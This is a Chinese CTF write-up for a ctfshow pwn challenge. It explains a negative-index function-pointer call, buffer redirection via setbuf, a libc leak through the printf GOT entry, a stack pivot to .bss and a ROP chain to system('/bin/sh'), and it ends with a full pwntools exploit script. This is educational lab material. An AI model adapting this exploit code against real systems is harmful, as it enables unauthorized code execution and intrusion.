ctfshow 萌新赛pwn签退题 明明是叫萌新赛,整个签退题我以为很简单,拿到程序checksec一看,32位,竟然只开了NX,以为很简单 ;然后特么的写了几个月,从学栈开始,到格式化字符串、整数溢出,后面到堆,每次都会回来看一眼这题,丫的每次都不会,每次都™怀疑我学了个寂寞。
完全参照大佬的博客完成,在最后会附上大佬的博客;本WP仅仅为了梳理本人对该题的理解
题目分析 程序几乎没有漏洞,可见的漏洞点存在于当进入选项3的流程时,会询问你是否对你的输入进行0-2的操作,然后判断你的选项是否小于等于2,如果是,就执行(0x804B048+choice)函数,此处存在漏洞,只进行了choice小于等于2的判断,而choice是整型,即可以输入负数,也就是说,我们几乎可以执行任何小于(0x804B048)的函数
这题需要利用setbuf函数,大部分pwn题当中,setbuf用来对标准输入输出流清零。仔细观察还会发现,stdin并不是0,而是在stdio库中设置的一个文件流,所以也是作用在stdio库中的函数,类似fwrite、fread、gets等函数。下面举个例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #include <stdio.h> #include <string.h> int main () { char buf[10 ]; char buf1[10 ]; memset (buf,0 ,10 ); gets(buf); setbuf(stdin ,buf); printf (buf); gets(buf1); printf (buf1); return 0 ; }
上述程序运行后buf1最后会直接输出用户输入buf中的内容。
同时setbuf并没有设置长度的参数,设置长度需要使用setvbuf,所以默认情况下setbuf设置的缓冲区长度为默认的4096。
解题思路 通过输入操作选项,使得我们执行setbuf(fd=fopen(“/dev/null”), buf)函数,然后在0x08048742函数中调用了fwrite(ptr, 1u, n, s)往buf里面写入数据,这里我们选择最后一次输入的buf作为setbuf的第二个参数,然后构造栈溢出以及栈迁移。参考大佬的栈溢出构造逻辑如下:
add(rop) -> add(buf1) -> buf(buf2) -> add(buf3) -> add(buf4) -> setbuf(fd, buf4) -> post(buf1) -> post(rop) -> 栈溢出,利用ROP链
然后构造第一个ROP,这里利用printf泄露printf_got获得libc地址,找到system以及binsh的地址,同时构造fread读入向.bss段读入system以及binsh,再把栈迁移到写入了system以及binsh的.bss段。然后构造第二个ROP去执行system(“/bin/sh”)。
最后会出现的问题
.bss段是从0x804b000开始的,当把栈迁移到0x804b100时,会出现system执行binsh失败;大佬给出了两个原因
当执行system时,system函数会获取系统的环境变量envp,而全局变量_environ指向了栈上的envp,当我们的rop链过长时,就有可能会覆盖了_environ的值,如果该值被覆盖成了无效地址,system就无法执行,但在这题中,因为第一个ROP链并不过长,所以并不会覆盖到该全局变量。
system栈地址空间不足,程序的可读可写地址空间是从0x804b000-0x804c000,当我改栈地址为0x804b100时,可用空间只有0x100;所以将栈地址改为0x804b300以后都可以(这是试出来的)。
附上大佬exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from pwn import *context.terminal = ['terminator' ,'-x' ,'bash' ,'-c' ] def add (p, data ): p.readuntil("> " ) p.sendline("1" ) p.readuntil("contents: " ) p.sendline(data) def post (p, n, offset ): p.readuntil("> " ) p.sendline("3" ) p.readuntil("ID (0-4): " ) p.sendline(str (n)) p.readuntil("> " ) p.sendline(str (offset)) def quit (p ): p.readuntil("> " ) p.sendline("4" ) def main (): p = process("./mailer" ,env={"LD_PRELOAD" : "./libc.so.6" }) libc = ELF("./libc.so.6" ) e = ELF("./mailer" ) gadget1 = 0x08048dab gadget2 = 0x080485f8 gadget3 = 0x08048495 gadget4 = 0x08048daa gadget5 = 0x08048da9 one_gadget_sh = 0x56ff5 read_buf = 0x080486D9 stdin_bss = 0x804B060 bss_buf = 0x804b700 rop1 = "a" *0xd rop1 += p32(e.symbols["printf" ]) + p32(gadget3) + p32(e.got["printf" ]) rop1 += p32(read_buf) + p32(gadget4) + p32(bss_buf) + p32(0x100 ) rop1 += p32(gadget1) + p32(bss_buf) + p32(gadget2) + p32(bss_buf) add(p, rop1) add(p, "b" *255 ) add(p, "c" *255 ) add(p, "d" *255 ) add(p, "e" *255 ) post(p, 4 , -15 ) post(p, 1 , 0 ) post(p, 0 , 0 ) quit(p) p.readuntil(":)\n" ) printf_got = u32(p.read(4 )) system_libc = libc.symbols["system" ] printf_libc = libc.symbols["printf" ] binsh_libc = libc.search("/bin/sh" ).next () system_add = printf_got - printf_libc + system_libc binsh_add = printf_got - printf_libc + binsh_libc one_gadget = printf_got - printf_libc + 0x3a838 rop2 = "aaaa" + p32(system_add) + p32(binsh_add) + p32(binsh_add) p.sendline(rop2) p.interactive() if __name__ == '__main__' : main()
最后附上参考大佬的文章的地址